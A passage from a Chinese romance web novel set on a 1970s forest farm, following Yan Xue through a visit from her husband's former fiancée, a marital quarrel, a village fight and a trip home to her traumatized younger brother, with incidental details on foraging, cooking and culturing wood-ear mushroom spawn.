这些都属于蕨类山菜,相比于其他山菜,晒晒就能保存到冬天,吃的时候拿水泡开就成。
唯一要注意的是猴腿儿有毛,用水焯过后需要把毛撸了。这类山菜也需要在焯水后细细揉开,才能放到外面晒,不然即使泡开了也是硬的,不好吃。
送走人,严雪回去摸了摸那块木头,见湿润度有点不够,又在上面撒了些水。
经过一天的催熟,上面的耳芽已经冒出了点尖尖,颜色也在转深,等彻底长成,就能采下来用最肥厚的部分培养菌种了。
严雪把木头挪到了有散射光的地方,刚挪好,严大小姐来了。
比起前天的急迫,她今天倒是正常多了,进门还带着点不安和严雪道了歉,“我是不是特别奇怪?”
“是有点。”严雪实话实说,“毕竟你和祁放已经退婚了,还是你家提的,这都过去了好几个月,你突然又说来结婚。”
“我、我不知道你们已经结婚了。”严大小姐也不知该怎么解释,眼神里还有着难掩的迷茫。
昨天那家人来过,又就这么走了,并没有把亲事换回来,她便知道,事情和她梦里的不一样了。
可怎么会这样呢?
明明这个祁放长着和她梦里一样的脸,明明祁放在梦里一直未娶。
要是她不能嫁给祁放,让祁放消气,那她父亲和她丈夫……
“你是不是有什么难处?”严雪柔声又问了一遍。
前天太混乱了,她一时要消化的信息太多,也就没有仔细思考,这个严大小姐其实是有那么点不对劲的。
对方表现得太过急切,对于嫁给祁放这件事。
好像只要她不嫁给祁放,就会有什么不好的事情发生,是她绝对不能承受的。
所以她是重生了,还是和她一样是穿越的?
严雪怀疑是前者,毕竟如果是穿越的,就该知道她只要远离吴行德,就会避开大部分灾祸,也不会这么真情实感担心。
而且估计重生的时机也不是那本书的结尾,不然得知了全部真相,她应该去盯着她父亲别做错事,而不是来找祁放。
被那双温和明亮的眼睛望着,严大小姐心情更复杂了,“我……”
她想说自己不是来破坏她的婚姻的,但她所做又确实是如此。
她想说她很害怕,但又说不出为什么害怕,又为什么一定要来找祁放结婚。
迟疑间,一道冷沉的声音已经自门口插进,“我不是让你今天就走?你怎么还没走?”
祁放沉着眸从外面走了进来,看得严大小姐立刻紧张起来,如临大敌。
所以说她绝对是重生的,哪个穿越者能被书里的角色吓成这样?
严雪看了眼男人,祁放没看到似的,还在说:“你不是要订婚了?这么跑出来,要是你家人找过来,我可担不起。”
严大小姐眼见着更紧张了,眼圈都开始泛红,“我、我绝对不可能嫁给他的,不嫁任何人,你放心!”
居然还保证上了,严雪无语,祁放显然也被噎了下。
严雪干脆问得直接点:“你是不是怕祁放对退婚那件事耿耿于怀?”
这才是真问到了点子上,严大小姐连连点头,眼里都冒泪光了。
这回连祁放也开始无语,望着对方的眼神中甚至带上轻嘲,“我现在这样,你们还不够放心?”
关键他现在这样,又不会一辈子这样,严大小姐没敢说话。
严雪倒是能猜到点她心里在想什么,一笑,“他要是真这么耿耿于怀,把我当成你和我结婚后,还不得天天折磨我?”
这绝对是严大小姐没有想过的角度,她当即连眼睛都瞪大了。
严雪见了,干脆起身下地。祁放完全是下意识的反应,立即伸手来扶她。
严雪也就指指男人,又指指自己,“你看我像是被折磨的样子吗?”
严大小姐不说话了。
后来又在这边待了两天,严大小姐还是走了。
走那天是严雪去送的,祁放还要上班,不上班也未必愿意送她。
和对方这个真前未婚妻相比,严雪这个假的当初待遇好太多了,她都怀疑男人是不是拿小本本记着仇呢,记对方那句换回来。
去往车站的路上,严雪还是多说了一句:“你要是不想嫁人,不嫁也可以,毕竟你今年才只有十九岁。”
虽然多了她也没法说,但既然祁放说对方就要订婚了,她就干脆当对方是逃婚出来的。
能叫这姑娘远离人渣还是早点远离人渣吧。
严雪笑着指了指对方的红袖标,“正好你有这个,趁这个机会多走走祖国的大好河山,多好。”
严大小姐的确在纠结这个问题,被严雪一言点醒梦中人,她这两天一直在琢磨梦里那件事。
有没有可能祁放针对他们家,根本就不是因为退婚,而是因为她丈夫,因为她父亲?
虽然不愿意相信,但对方的确说了她怎么不去问问她丈夫都做了什么,她父亲都做了什么。
但比起从小把自己养大的父亲,和与自己朝夕相处二十年的丈夫,她显然还是更忌惮祁放,此刻听严雪说,她忍不住问严雪:“那你呢?怎么这么年轻就结婚了?”
“我没得选啊,”严雪摊摊手,“不嫁到东北来,搞不好就要给人家四兄弟做老婆了。”
“四兄弟?”严大小姐瞪大了双眼,显然没听过这种事。
严雪干脆当八卦给她讲了,严大小姐听了立马愤愤,“他家怎么能这样?这不是把你往火坑里推吗?”
“所以我出来嫁人了啊,”严雪说,“不过也不是随便嫁的,不然跟嫁给那家有什么区别?”
她故意压低了点声音,“我来之前,姑姥姥就帮我打听好了,男方一家都是老实人,我嫁过去受不了气的。而且就算我认错了人,也不是随随便便就嫁给了祁放,当初我刚来林场那天……”
她抬眼看看严大小姐,严大小姐显然已经听了进去,“你刚来林场那天怎么了?”
严雪就把放冰沟怎么危险,当初祁放又是怎么救的人说了,“他能冒着危险去救人,至少不是个坏人。”
这让严大小姐很是意外,说到底除了梦里那一面,她对祁放也算不得真正的了解。
严雪眉眼弯弯的,“有时候人不能只看外表,得看里子。当然要是有的选择呢,还是晚点结婚更好。”
严大小姐也不知道听进去了没有,半晌没说话。
这时候小火车来了,严雪也就没再说什么,让她拿好东西,催她上车。
42 算账
那天严雪问起来的时候,并没有提这些,祁放还以为事情就这么过了。
没想到齐放走了,严大小姐也走了,终于可以松一口气的时候,严雪又提了起来。
这让他望望严雪的脸色,沉吟着没有说话。
严雪也不急,还笑盈盈问了他一句:“怎么?需要现编?”
那双眼睛弯弯的,黑暗中还能看到漂亮的弧度,但就是让人心里更没底了。
祁放否认得很迅速,“没有。”
“那是想瞒我一辈子?”
“没有。”
这回依旧迅速,祁放还认真看了看她,“我也瞒不住你。”
这也不知道是真心的,还是求生欲使然,严雪就那么望着男人,没说话。
祁放现在算是知道另一方不说话,只让你猜是什么感觉了。他试探着把手搭上严雪手臂,见严雪没拒绝,才顺势揽上严雪后背,但也没敢多搂,只松松圈着,“我当时也很震惊。”
这严雪是信的,不然那天他情绪也不会那么奇怪,还说了些很不像他会说的话。
但这男人可是真能苟啊,愣是没让她看出什么来,严雪似笑非笑,“那天你故意套我话的吧?”
祁放微不可察地一窒,声音倒听不出异常,“我是想再确认一下。”
“确认一下姑姥姥是怎么夸的齐放?”严雪呵呵。
以这男人的脑子,就算收到信时不信,知道她收到的是钱后也该信了。他后来又问起姑姥姥,还问姑姥姥是怎么说“他”的,就纯是在套话了。
严雪戳戳男人,“你后来跟我说你不好,不会也是在故意示弱吧?”
也不知戳到了哪里,指腹下的肌肉迅速变硬,男人也捉住了她的手,“没有。”
祁放掌心很烫,比起虚虚拢在后背,这下抓得可实实在在。
严雪试着抽了下,“还有你不让我去秋芳姨家。”
有些事真是经不起细想,一细想,处处都是漏洞,“你是怕我去了会露馅吧?”
这下祁放不说话了,抓着她的手却也没松。
严雪干脆又戳了一下他,“你藏得可真够深啊,当时还不让刘卫国说话。”
再戳,“还有那天看到齐放,你对人家态度不好,是不是已经知道……”
话还没说完,手就被拉着放到了男人腰后,人也被迎面抱了个满怀。
严雪支着头的手被拉得一滑,下一秒人已经枕在了男人胳膊上,男人就那么圈紧她,呼吸近在她耳畔,“我是担心。”
抱得太紧了,也太近了,甚至只要再偏上一点,那唇就会落在她脸侧。
严雪刚这么想,脸侧已经感觉到一片柔软的温热,“我也不知道是他。”
明明人是冷的,身上却哪里都是热的,就连呼吸也带着烫人的温度,“要是知道……”
要是知道怎样他没说,唇却又落在了严雪脸颊上。
先是试探着,继而一路蜿蜒,带着潮热的气息,连怀抱也逐渐收紧。
严雪还是第一次同异性如此亲昵,只觉得那细碎的啄吻落到哪,哪里就绽开朵灼热的花。
她不觉抓住了男人背后的衣料,感觉周遭的空气都在慢慢升温。
同时在升温的还有她被男人手指抚过的脊背,自腰线越过脖颈,最终穿过发丝,扣住了她的后脑……
就在那呼吸触上唇角的前一秒,严雪偏头了。
温软的唇擦过她颊边,最终落在她颈侧,明显顿了一顿,“严雪?”
嗓音带着气声响在她耳边,呼吸吹得她耳朵都开始发痒。
但严雪还是推了推男人,“你别想转移话题。”话出口,才发现自己声音有多软。
她清了清嗓子,又推,“起来。”
男人没动,还低低又叫了她一声:“严雪。”一双桃花眼静静看着她。
这着实有点犯规,因为离得近,严雪甚至能看到他眼尾那一点总被冷淡所压制的桃花色。
严雪一把捂上了对方的眼睛,“别看我,我不吃这套。”
说是不吃,可掌心还是被对方轻微颤动的睫毛刷得有些痒。
她干脆按住对方的额头,使劲往外推了推,人也挣脱出来,换成了背对的姿势,“跟我有关的事,我不喜欢被瞒在鼓里,也不喜欢别人替我做决定。”
他自己的事也就罢了,他不想说,她可以不问,但有关她的事不行。
这是原则问题,严雪不接受任何含糊其辞,也不接受任何美男计。
好一会儿,身后的男人都没动,似乎是平复了下什么,“知道了。”
祁放说完,人又想靠过来,被严雪拿脚踢了踢,“你瞒了我七天,就最少先检讨七天吧。”
说着把枕头往外挪了挪,被子也向下压了压,在两人中间划出一条界限。
就连第二天要带上山的饭,严雪也在饭盒里减了一个煎得还带点溏心的太阳蛋。
祁放看到,当天上工的时候,脸色不仅冷淡,还隐隐多了点冷峻。
刘卫国发现他话比平时更少,干着干着就靠了过来,“咋啦?昨天回去的时候不还好好的,晚上没睡好还是欲求不满了?”
听到那句欲求不满,祁放默默看了他一眼,“你很懂?”
这一眼太意味深长,刘卫国立马摇头,“我不懂,你可别瞎说啊,更别跟周文慧瞎说。”
这求生欲也是够强的,祁放没再说什么,低了眸继续干活。
刘卫国却是个憋不住话的,没多一会儿又问:“前两天你家来人,我也没捞着问,你要找那人找到了吗?”
这让祁放不禁又看了他一眼,“找到了。”
“是不是人家要找那个?”刘卫国还挺关心,接着追问。
“不是。”祁放回答得十分果断,说着还将树苗周边的杂草贴着地面拦腰斩断,“他们没关系。”
刘卫国也不知道是不是错觉,总觉得他铲杂草的动作太利落了点,铁锹都挥得隐隐泛出寒光。
“哎,最近就没有一件事顺当。”刘卫国叹了口气,又想到了自己跟周文慧,“文慧前几天回家打听了,什么也没打听出来,还被她爸催着去给江家送了一次东西。你说我俩处得好好的,咋就非得被分开?”
“你不想和她分开?”祁放除完杂草,又去给下一棵露根的树苗培了培土。
“那当然不想啊,你难道想跟严雪分开?”
刘卫国还挺会问,问完又追过去压低声,“咋啦?你有好办法?”
眼睛都亮了,显然很相信自己这个哥们儿的实力。
然后他就听他实力很强的哥们儿说:“你认她当妹妹,你们就永远是一家人了。”
严雪知道这件事的时候,已经是当天下午下工。
刘卫国过来给她送黄凤英今天刚采的榆黄蘑,“一棵树上就采了十几斤,我家也吃不了。”
春吃榆黄蘑,秋吃冻蘑,现在刚刚六月初,正是当地吃榆黄蘑的好时候。
这种菌菇多生于榆树、桦树、柳树等阔叶树的倒木、枯立木和伐桩上,呈扇形或者是漏斗形,成熟后会逐渐展开,大点的的确一朵就能出十几斤。
刘卫国送过来这块显然是掰下来的,但也有四五斤了,波浪状的边缘还泛着鲜嫩的微黄。
这东西跟冻蘑不一样,得鲜着吃,弄多了的确吃不完,严雪也就没和对方客气。
刘卫国见她收了,小声开始和她吐槽,“你家祁放是不是心情不好?我跟他说我不想跟周文慧分开,他竟然让我认周文慧当妹妹。”
“他让你认周文慧当妹妹?”严雪眼睛都睁大了。
多损啊,让人家有情人终成兄妹,“你是不是说什么不该说的了?”
不然祁放嘴再损,一般也不损自家哥们。
“我能说啥啊?”刘卫国显然还没抓住重点,“就是说他……”
话到这里,突然想起祁放嘱咐过那事儿不能告诉严雪,话锋又一转,“说他一大早上就欲求不满。”
话刚落,祁放就从里屋出来了,黑眸静静扫了他一眼。
刘卫国立马滚蛋,“那我走了啊,我家也在做榆黄蘑,我给周文慧送点去。”
严雪看看他跑远的背影,又回头看看男人,“一大早上就欲求不满,你跟他说的?”
“没。”祁放答得十分冷淡,且正经。
“那就是你俩又有事瞒着我了。”严雪似笑非笑。
这个“又”字用得很妙,一下子就让祁放想到了刘卫国那句:“小心你媳妇儿给你踹下炕。”
他顿了顿,“是我之前让他帮我打听林场有没有人和我同名。”
“所以我认错人这件事,只有我是最后知道的?”严雪眯了眯眼睛。
祁放立即否认,“没,我只让他帮我找人,没说是找谁。”
严雪也不说是信还是没信,去柜子里拿了个盆开始掰榆黄蘑。
蘑菇这东西不好用刀切,用手撕成一条一条,才能最大限度保留原汁原味。
在干活这方面,祁放向来自觉,立马过来跟她一起掰,掰完又主动给大地锅底下添了火。
四五斤的榆黄蘑,一半严雪和鸡蛋打了汤,一半则裹了面粉干炸。
正好家里有之前用野猪肉榨的油,炸完放在笊篱上控干,再倒进盆里,撒上干料一颠,均均匀匀滚了一层。吃饭时先喝上一口汤,鲜美的味道还没从舌尖散去,干炸已经带着它独有的酥脆软嫩来了。
到底天暖和了,半碗热汤下肚,严雪额上已经有了细汗。
祁放看到,给她递了块手帕,自己倒是清清淡淡的,只嘴唇一抹润红。
不知怎么的,严雪又想起他锁骨上那颗红痣,往他领口瞄了瞄。
男人注意到了,抬眼似有疑惑,没等问,外面就传来了郭大娘的声音,“小祁,老刘家卫国跟人打起来了!”
他一顿,那边严雪已经看向了窗外,“怎么回事?”
郭大娘就站在炕外的窗户下,身后还跟着小孙子铁蛋儿,“刚我去叫铁蛋儿吃饭,看到他跟人打起来了,就在小河边。”
两口子饭都没吃完,就匆匆出去了,赶到的时候河边已经聚了不少人。
刘卫国跟江得宝被远远分开,一个眼通红,显然怒气未消,一个嘴角还在流血。
严雪眼一扫,果然在不远处看到了周文慧。
年轻姑娘手里抱着个盆,正低着头啪嗒啪嗒掉眼泪,盆里还有沾了泥的湿衣服。
很显然她是来河边洗衣服,碰上了江得宝,而江得宝说了或者做了什么,惹怒了刘卫国。
果然那边刘卫国被人拦着,也不忘指着江得宝,“你他妈再敢动她一指头试试!”
“老子就动了,你能把我咋的?”
江得宝那边倒没人拦,毕竟显然他才是被打的那个。
他朝地上吐了口带血的唾沫,“老子家里安排给老子的对象,老子想咋的就咋的,你管得着吗?”
刘卫国当即又要冲过去,被几个男知青拦了,“别冲动别冲动!”
“他妈他动的不是你们媳妇儿!”刘卫国简直是在吼了。
祁放眉心也拧了拧,走过去拍拍其中一个人,“拉偏架?”
他性子冷,人就显得不那么好相处,不像刘卫国,整天笑呵呵的。
对方下意识松了手,“没,就是怕他冲动。”
另一边,严雪也走到周文慧身前,放柔声音问了句:“你还好吧?”
周文慧赶紧抹了把脸,“我、我没事儿。”
话未落,那边江得宝冷笑一声,“装啥装?他刘卫国能碰,我碰一下就要死要活。”
几个男知青一听就知道要糟,赶紧去拦刘卫国,却被祁放不动声色挡了下。
于是刘卫国甩开身边的人,冲过去狠狠给了江得宝一拳,还又踹了一脚,才被人追上来拉开。
这下江得宝人都被踹坐在地上了,脸色十分难看。
旁边张国刚脸色也不怎么好看,还透着不耐烦,“能不能少说两句?调戏人女同志是啥光荣的事儿吗?”
江得宝一噎,不远处又响起严雪安慰周文慧的声音,“没事,我帮你问问月娥姐,她家告人有经验。”
郎月娥家到底告的谁,又告的什么,在场的人都知道,江得宝再次一噎。
也就在这时,听到报信的黄凤英匆匆赶了过来,“出啥事儿了?”
有长辈在,这个架就没那么好打了,何况江得宝还一直是被打的那个。
但让他就这么走了,他又气不过,干脆看着刘卫国冷冷一笑,“反正她爸要求着我爸给他弄成车间副主任,早晚都是我的,我不急。”
还故意挑了挑眉,“到时候我一天折腾她八遍,你能把我咋的?”
“你他妈做梦!”刘卫国差点跳起来,但碍于黄凤英在场,到底没再动手。
“这人咋这样?”黄凤英也皱起了眉,走过去问周文慧:“你没事儿吧闺女?”
还安慰了一句:“他嘴贱,你不用听他瞎咧咧。”
周文慧却没法不听,因为江得宝很明确地说了是她爸想升成车间副主任。
这下也不用打听了,周父为什么要把她嫁给江家一目了然。
一个副主任,就能把闺女嫁给这么个东西,在他眼里闺女还真不值钱。
黄凤英看着周文慧眼睛都哭肿了,却还是停不下来,都不禁说了句:“这都啥事儿啊。”
刘卫国更是哄不知道怎么哄,劝不知道怎么劝,最后干脆望向祁放和严雪求助。
“江得宝这人也太不是东西,就没啥招把这事儿给他们搅黄了?”
确实不是东西,他要是对周文慧好,事情实在不成,刘卫国顶多觉得遗憾。可他对周文慧这样,要是真放任周文慧嫁给他,不是放任人家姑娘进火坑吗?
43 又惊
电报上面只有四个字——“弟惊速归”。
当初严继刚会落下口吃的毛病,就是因为惊吓,严雪看到这份电报时的心情可想而知。
那一瞬她脑内闪过了许多念头,人现在怎么样了,是意外还是什么,却又完全找不到人来回答。
但两辈子加起来,她经历的事已经太多了,很快就让自己镇定了下来。
回去是一定要回去的,这次回去就直接把人接来,但今天不行,今天已经没有车了。
而且她人走了,家里这边也得有个交代,尤其是菌种的培养。
严雪在写字桌边坐下,拿出本和笔,把母种培养的注意事项写了下来。
想想回去一趟单程也要三天,万一她没能及时赶回来,后面也不能耽误了,又把原种培养的方法也写了上去。
木耳菌种的培养一般分为三个阶段——母种,原种和栽培种。
母种并不适合用来栽种,到了原种,才能应用于段木栽培,栽培种相对于原种成本又更低一些。
不过培养原种和栽培种就不能用之前的培养基了,得用木屑,也就是当地人常说的锯末子。
这东西在林场不值钱,很容易弄到,尤其是现在天暖和了。要是冬天,有些人家不舍得买煤,倒是可能拿它来点炉子,虽然火没有柴火旺,但胜在长远,能持续给屋里供热,用得还不费。
严雪是喜欢凡事准备在前面的人,提前就弄好了几麻袋锯末子放在仓房。
制作培养基要用的另一样——麦麸,她也找场里批了,正好林场农业队自己就有种麦子。
等祁放下工回来,地上已经被严雪摆满了罐头瓶,都是之前两分钱一个从各家收的,里面按木屑78%,麦麸21%,石膏1%混合好,只剩加水了。
其实原种和栽培种的培养最好用塑料袋,但这年代塑料难得,严雪也只能用罐头瓶子来代替。
祁放一看就觉出不对,看向严雪,“出什么事了?”
严雪也不瞒他,直接将电报递过去,“我之前没跟你说,继刚他有口吃的毛病,我爸过世时落下的病根。”
祁放只看了一眼,便将电报放回桌上,“你准备明天就走?”
严雪点头,一指炕尾放着的包,“东西我都收拾好了,明天早上出发。”
说着她还把自己写好的注意事项递给男人,男人却看也没看就放下了,转身往外走。
“你去干嘛?”严雪微愣。
男人只回头看了她一眼,眼神很深,“万一这事另有隐情,你就打算一个人回去?”
后面的不用说严雪也知道,继刚好好地待在家里,连门都不出,怎么会又受到惊吓,还严重到需要给她发电报?
但她一个人承担惯了,接到电报后什么都想到了,就是没想到祁放。
这让她抿了抿唇,却也说不出拒绝的话,最后只是道:“我给你收拾东西。”
祁放微凝的神色这才有所缓和,没再看她,转身走了。
回来的时候不仅请好了假开好了介绍信,男人还一手拿着袋饼干面包,一手拎着双女式凉鞋。
“试试。”他直接将凉鞋放到了严雪脚边。
严雪有些意外,“怎么想起来买凉鞋了?”
“关里不是天热?”祁放见她没动,干脆蹲下去帮她解开鞋带。
眼见鞋子解开,就放在自己脚前,男人甚至还要来帮自己穿,严雪赶忙将脚伸了进去。
大小正好,严雪解下来一看,果然是35码的。
“大小怎么样?”明明记得一清二楚,男人还是问了她一句。
严雪刚说了句“正好”,男人又拿起了刚才她给他的本子。
这回没等她问,他已经道:“菌种我去托郭大娘帮你看着。”
雷厉风行,且面面俱到。
以前严雪都是替人操心的那个,还是头一回有人替她做这些,反应了下才跟上,“我跟你一起去。”
夫妻俩走到隔壁的时候,刚好听到里面郭大娘说话的声音,“长安你就再试试,今天不是比昨天多走了两步吗?再试试……”
话没说完,就被重物落地的一声“扑通”打断。
郭大娘那声音耳听着就惊慌起来,“长安你没事儿吧?摔到哪儿了?”
然后是郭长平的声音,“妈你别管他,让他自己起来,他难道还一辈子不起来了?”
自始至终,两人都没听到郭长安的声音。但很显然,郭长安受伤满四个月,开始尝试着走路了。
只是自从郭长安回来,他那屋就一直拉着窗帘,显然并不想让人看到他狼狈的模样。两口子默契地都没有出声,选择了先回去,等郭家那边有人出来,才去叫住了郭大娘。
“让我帮着看着点儿?行啊。”郭大娘倒是没有犹豫,“就是怕我不懂,给你们看坏了。”
“那倒没什么难的,就是得注意点温度。”严雪把本子递了过去。
郭大娘立马叫来金宝枝,“宝枝你过来帮我瞅瞅,长平就没好好念过几天书,还不如不念。”
“那你得让长安来,我也就比长平多念了两年。”金宝枝接过去,也蹙了蹙眉。
郭大娘犹豫了一下,干脆往里走,“那我去让长安看,他念书多。”又回头看看严雪和祁放,“你们不着急吧?”
严雪笑着道:“不着急。”祁放也淡声说了句:“不急。”
郭大娘拿着本子进去,过了一阵儿又重新出来,脸上那点不确定已经没了,“就是凉了烧火,热了开窗,保持在22到28摄氏度是吧?”
估计郭长安是帮她看了,还解释得挺简洁明了。
严雪把五块钱递过去,“我家炕上有温度计,您隔段时间过去看一眼就行,我按临时工给您算钱。”
“就这么点事儿,还算啥工钱?”郭大娘显然没打算要。
严雪却还是塞到了她手里,“拿人钱财,与人消灾,您把钱收了,我才能放心交给您不是?”
郭大娘还在犹豫,祁放也道:“您不接,我们也得雇别人。”
那可就麻烦了,郭家好歹离得近,一个院里住了好几个月,人品也让人放心。
见两人打定了主意,郭大娘就没再推,但人也是够利索,立马出了门,“你们告诉告诉我那啥温度计咋看。”
晚上临睡前,严雪又把第二天出门要带的东西检查了一遍。
两人的换洗衣物、介绍信、吃的……
待查到第二遍,祁放从后面搂了她,还轻轻揉了把她的头,“继刚会没事的。”
很难得的安慰,也很难得有人能从她机械性重复的动作中觉察出她隐藏的不安。
这次严雪没有躲,也没有再怪他摸自己的头,反而吐出一口气,放任自己在他怀里靠了会儿。
就这一会儿,天塌下来先让个子高的顶着,而不永远都是她……
第二天一早,两人锁上门出门,钥匙就用块大石头压在窗台上,郭大娘要用随时可以开。
先坐小火车到镇上,再由大火车转船,船转长途汽车,到达老家的时候已经是三天之后。
正是六月初,关里收麦子的时间,老家所有的劳动力都在地里,在摇动的金色麦浪间,两人走了一路,也没碰上辆牛车驴车。
祁放把两个人的东西都接过去提着,忍不住看了看严雪的脚,“你没事吗?”
“没什么事,走之前就好得差不多了。”
严雪说完,发现男人依旧低眸注视着自己的脚踝,不禁想起那天两人的冲突,“是真的没事。”
祁放也不知道信了没有,收回视线看向前方,“是不是到了?”
“嗯。”严雪已经在村口看到了一个熟人,上前打招呼,“五奶奶。”
严家庄一姓一个村,全是一个宗族的亲戚,对方按辈分来说是严父严柏山的堂婶。
老太太年轻的时候家里穷,晚上熬夜也要纺棉花,把眼睛给熬坏了,盯着严雪看了半晌才认出来,“你是柏山家小雪?”
“是我。”严雪说,“我回来看看我奶奶和我弟弟,也不知道他们现在怎么样了。”
她跟对方打招呼,就是想提前问问情况,心里有个准备。
五老太太显然是知情的,一听就叹了口气,“那可不太好,本来继刚上回受惊就没好利索,前几天不知咋了,又给吓着了,成宿成宿发高烧。二嫂到处给他找大夫,是中医也看了,西医也看了,到现在家里还熬着药呢。”
老太太显然破四旧没破彻底,还压低声音跟严雪说:“照我看,说不定是啥邪病,不行你回去商量商量二嫂,找人看看……”
严雪哪有心思听她那些猜测,匆匆道过谢,就和祁放一起往家里赶。
赶到严家小院的时候,严松山一家都去割麦子了,院子里静悄悄的,只有二老太太面前炉子上的小药壶里咕嘟咕嘟冒泡的声音。
老人家就拉了个蒲团坐在泥炉子前,手里一个大蒲扇,听到动静转过来,一看是严雪立马站起身,“小雪回来了。”
“奶奶是我回来了。”严雪应了声,就要往东厢走,“继刚他现在怎么样了?”
却被二老太太叫住,“继刚现在不住那,在我那屋。”
严雪脚步当时就顿住了,却也没着急往正屋走,而是推开东厢的门,往里看了看。
果然二老太太提醒她,不仅仅是因为严继刚现在在她那边。
不然就算人暂时搬过去,方便她照料,严雪回自己家放个东西又怎么了?
“怎么了?”祁放就跟在严雪身后,见她停在门口,脸色并不是很好,也朝里扫了眼。
和他们在郭家租的差不多格局的两间小屋,只不过东北房子宽,通常在六米到六米半,有些人家会打上南北炕,老家这边只有四米多。
进门是厨房,收拾得还挺干净,就是太干净了,柜子、米缸全是空的。
大地锅大喇喇敞在那,连个锅盖都没有,显然已经许久没有人用过……
严雪面无表情又将门合上,“这已经不是我家了。”
刚说完,就听到身后二老太太叹气,“是我不中用,看不住东西。”
“您再能看住,也架不住有人成天惦记。”
严雪倒还算平静,回头看看祁放,“东西先放去奶奶那屋吧。”
正房西边这一间小屋严雪也不常来,只觉得这次进来,比以往更加逼仄了。
不仅添了不少严继刚的东西,窗也用床单挡了起来,昏暗的光线中,一道小小的身影正静静睡在炕上。
严雪一眼就认出了自己的弟弟,也看得出他整个人瘦了一大圈,人抱着个什么缩在薄被下,面色苍白,眉头始终皱着。
她伸手想要帮他抚开,又怕再次惊吓到他,手最后还是停在了半空。
二老太太也没敢做声,只帮两人把东西放好,朝外面努努嘴,示意他们出去说。
“到底怎么回事?”一到了院子里,严雪便压低声音问。
“我也不清楚。”二老太太说,“本来你走后继刚好好的,白天来我这,晚上就回你们那边睡觉,抱着你之前用那个枕头。”
这个严雪也知道,严继刚在信里跟她说过,说只要抱着姐姐的枕头,就不怕一个人睡。
当时她还回信夸他长大了,变勇敢了,是个小男子汉了,将来一定能反过来保护姐姐。
“那天他也是天没黑就回去了,说是要把你写的信拿出来,再背几个字。我都躺下了,突然就听他在那边喊,跑过去一看,人已经缩在桌子底了,一直抖,我叫了他好几声,他都没反应。”
老太太一想起来就叹气,“我小脚,走路慢,也不知道他是让啥吓着的。反正是见了黑就怕,见了玻璃也怕,这不窗户都给他挡上了。就这样还不行,动不动就抽,烧也是起了退,退了又起。”
“他自己没说原因?”严雪越听,眉头蹙得越紧。
“他要是能说话还好了。”二老太太又叹了一口气,“继刚已经八天没说过一个字了,不然我也不能发电报叫你回来。”
上次严继刚受到惊吓,就是一个字也不说,要不是后来严雪出事,他心里着急,都未必能开这个口。
严雪紧紧抿起了唇。
“当时院门上锁了吗?”耳边突然传来男人清淡的嗓音。
老太太挂心孙子,差点忘了严雪不是一个人回来的,看看眼前过分颀长英俊的男人,又看看严雪,“这是?”
“我爱人祁放。”严雪刚刚也忘了,又给祁放介绍二老太太,“这是咱奶奶。”
“奶奶。”祁放立马问好,又提起刚刚的问题,“继刚被吓到的时候,院子落锁了吗?”
“应该落了,我都洗完脚上炕睡觉了,怎么也得八点多。”
“也就是说,吓到继刚的就在这院子里。”
祁放声音冷静,一点点帮着她抽丝剥茧,“继刚当时躲在哪,您能带我们去看看吗?”
“能,我记得他躲在哪个地方。”老太太忙带着他往东厢去。
进了里屋,能更明显地看出屋子的空荡。
里面本属于这个家属于姐弟俩的温馨回忆都没有了,有一些出现在了老太太的西屋,有一些则不知道去了哪里。
老太太指了炕边明显留下四个方形压痕的地方,“这边以前是个写字桌,小雪上学那年她爸给打的。”
又指了指最中间,“那桌子下面有个空,我进来的时候,继刚就缩在里面。”
严雪走过去,都不用蹲下,一抬眼便是里屋的房门。
“不是门外的东西。”祁放也早注意到了。
如果是门外,严继刚根本不会躲在桌子下,而会选择门后、箱子里这样连门都看不到的地方。
“应该也不是虫子、老鼠之类的,他不怕这个。”严雪说。
农村蛇虫鼠蚁常见,男孩子就算不玩这些,也多数不怕这些。而且如果是老鼠,严继刚更可能跳到炕上,而不是躲进桌子下。
所以吓到他的应该是……
夫妻俩全都望向了窗户,也都想起了二老太太那句怕玻璃。
二老太太是明白人,见夫妻俩都看过去,一张老脸上褶子也抖了抖。
正要说什么,正屋西边突然传来一声惊叫。
老太太瞬间什么也顾不上了,踩着小脚就往外跑,“奶奶在!奶奶在这呢!”
严雪也赶忙跟了过去,进门就看到严继刚闭着眼睛浑身抽搐,满头的大汗。
二老太太立即把人抱在了怀里,不住地拍,严雪也终于看清严继刚怀里抱的是什么——
一只枕头,一只她再熟悉不过的枕头。
好一会儿,严继刚都没有平复下来,攥着枕头的手指甚至都已经发白。
44 耳光
小少年大概是太久没有见到姐姐了,睁眼看到严雪,先是愣了下,接着竟然又把眼睛闭上了。
那小表情,好像眼前的一切都不过是个梦,只要闭紧眼梦就不会醒来。
严雪心里又酸又软,放柔声音在他不剩一把肉的脸上捏了捏,“怎么?就这么不想看到姐姐?”
触感太过真实,小少年复又睁开眼,和严雪有着七分相似的大眼睛中流露出惊喜。
但他张了张嘴,还是一个字都发不出来,想到什么,望着严雪的眸子里逐渐聚集起泪水。
“好了,都好了。”严雪心疼地拍拍他,“你不是一直好奇你姐夫长什么样吗?我让他进来给你看看。”
说着她撩起床单的一角,敲了敲窗,“祁放,你进来一下。”
怀里的小少年立马紧绷起来,甚至还哆嗦了一下,显然对于窗边十分恐惧。
不过很快,严雪就退回了原来的位置,祁放也甩着手上的水从外面进来,“怎么了?”
严继刚眯开一只眼看了看,似乎是愣了下,又把另一只也睁开了。
这孩子估计还是个颜控,严雪把他晃了晃,“这是你姐夫,怎么样?长得好看吧?”
祁放还是头一回从严雪口中听到自己好看,撩起桃花眼看了严雪一眼。
严继刚立马抓紧了严雪衣角,睁大眼想说什么,又说不出来。
严雪就把手心递给了他,“姐姐教你写的字没忘光吧?”
严继刚摇头,伸出一根手指一笔一划在她掌心写:“好、看。”
“看来还真没忘。”严雪揉了揉他头顶。
严继刚抿起嘴,露出个小小的笑容,又忍不住去看祁放。
祁放在家里是最小的,又一直跳级读书,身边全是比自己大好几岁的人,哪接触过这么腼腆脆弱的小孩子。
见严继刚偷偷瞄自己,他也不知道该怎么和对方相处,干脆学着严雪,也揉了揉对方的头,“你好。”
很大人的打招呼方式,严继刚脸都红了,又说不出话,只能拉过严雪的手继续写。
“他说你也好。”严雪帮着他翻译,顿了顿,又笑道:“他还叫你姐夫。”
祁放“嗯”了声,似乎觉得有些冷淡,又道:“家里给你留了房间。”
严继刚立马转头去看严雪,眼睛亮亮的。
“是给你留了房间。”严雪给了他一个肯定的答复,“不过你得好好吃饭,好好吃药,等你好了,才能跟我们一起走。”
这回严继刚写字的动作快了许多,严雪都有些跟不上了,但猜测是他在保证自己一定好好吃饭,好好吃药。
